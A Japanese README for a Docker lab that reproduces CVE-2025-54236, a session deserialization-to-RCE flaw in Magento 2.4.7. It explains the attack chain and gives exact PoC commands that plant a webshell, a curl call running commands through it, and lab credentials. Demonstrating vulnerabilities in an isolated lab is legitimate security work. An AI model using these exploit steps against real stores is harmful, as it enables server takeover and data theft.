
CVE-2025-54236(SessionReaper)の実践的なデモのためのDocker環境:Magento Open Source 2.4.7におけるRCEにつながるPHPオブジェクトデシリアライゼーション
CVE-2025-54236 (SessionReaper) の実践的デモンストレーションのための Docker 環境: Magento Open Source 2.4.7 における PHP オブジェクトデシリアライゼーションから RCE に至る脆弱性。
管理された環境でのみ使用してください。明示的な許可なくシステムに対して実行しないでください。
CVE-2025-54236 は、Magento Open Source および Adobe Commerce のバージョン 2.4.7 までに影響します。ServiceInputProcessor::getConstructorData() メソッドは、JSON を介してネストされたパラメータを受け入れ、session.save_path(PHP がセッションファイルを保存するフォルダ)を上書きすることを可能にします。
攻撃手順:
Guzzle/FW1)が /customer/address_file/upload 経由でアップロードされ、pub/media/customer_address/s/e/sess_<id> に保存されます。{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} が注入されます。session_start() を呼び出し、ガジェットチェーンをデシリアライズして、pub/errors/ にウェブシェルを書き込みます。前提条件: PHP セッションが file-based で設定されていること(Redis/Memcached ではない)。
magento/
├── lab-magento/ # Docker lab (Magento 2.4.7 脆弱版)
│ ├── Dockerfile # Magento 拡張機能を含む PHP 8.2-FPM
│ ├── docker-compose.yml # スタック: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # 環境設定
│ ├── conf/
│ │ ├── nginx/ # nginx VirtualHost
│ │ └── php/magento.ini # ファイルベースセッション, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # ゼロからの完全インストール
│ └── 02-demo-setup.sh # 製品、ペイロードの準備と手順の表示
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # メイン PoC (作者: alexb616)
└── payloads/
├── shell.php # シングルクォートを使用したウェブシェル(JSON エスケープ回避)
└── sess_payload.bin # シリアライズされたガジェットチェーン(スクリプトで生成)
docker compose)ambionics/phpggc イメージが利用可能な Dockersession_reaper.py は以下の順でバイナリを検索: システムの PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc、フォールバックとして Docker イメージ ambionics/phpggc を自動的にプルrequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 が必要な場合があります)cd lab-magento
# 1. Magento 2.4.7 をゼロからインストール(約25分)
bash scripts/install.sh
install.sh の処理内容:
composer install --no-dev の実行setup:install を file-based セッションで実行default に設定(developer ではない - PHP 8.2 の警告が例外になるのを防ぐ)setup:static-content:deploy の実行www-data のパーミッションを修正インストール後、ルートディレクトリ (/magento/) から:
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
RCE の確認:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# 期待される出力: uid=33(www-data) gid=33(www-data) groups=33(www-data)
代替方法 (address ベクター、実際の製品を使用):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
| サービス | URL / ホスト | 認証情報 |
|---|---|---|
| Magento ストア | http://localhost:8080/ | - |
| Magento 管理画面 | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |
管理画面の URI はインストール時にランダムに生成されます。検索するには:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# エクスプロイトによって作成されたセッション
docker exec lab_magento_php ls -la /var/www/html/var/session/
# media/ の悪意のあるセッションファイル
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# リアルタイムログ
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# ウェブシェルの削除
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# コンテナの停止
docker compose -f lab-magento/docker-compose.yml down
# すべてを破棄(コンテナ + ボリューム)
docker compose -f lab-magento/docker-compose.yml down -v
なぜウェブシェルにシングルクォートを使うのか?
phpggc Guzzle/FW1 はペイロードを JSON としてシリアライズします: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]。PHP の内容は JSON エンコードされるため、" は \" になります。$_GET["cmd"] を使用すると $_GET[\"cmd\"] となり、PHP のパースエラーになります。解決策は、ウェブシェルをシングルクォートで記述することです: $_GET['cmd']。
なぜ developer モードではなく default モードなのか?
Magento を developer モードで実行すると、すべての PHP 警告が例外に変換されます。PHP 8.2 は lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114 で Warning: Trying to access array offset on null を発行し、管理画面で 500 例外になります。default モードでは警告は無視されます。
なぜファイルは s/e/ に置かれるのか?
Magento は住所アップロードを pub/media/customer_address/{1文字目}/{2文字目}/filename に整理します。sess_* ファイルの場合、1文字目は s、2文字目は e となり、常に pub/media/customer_address/s/e/ になります。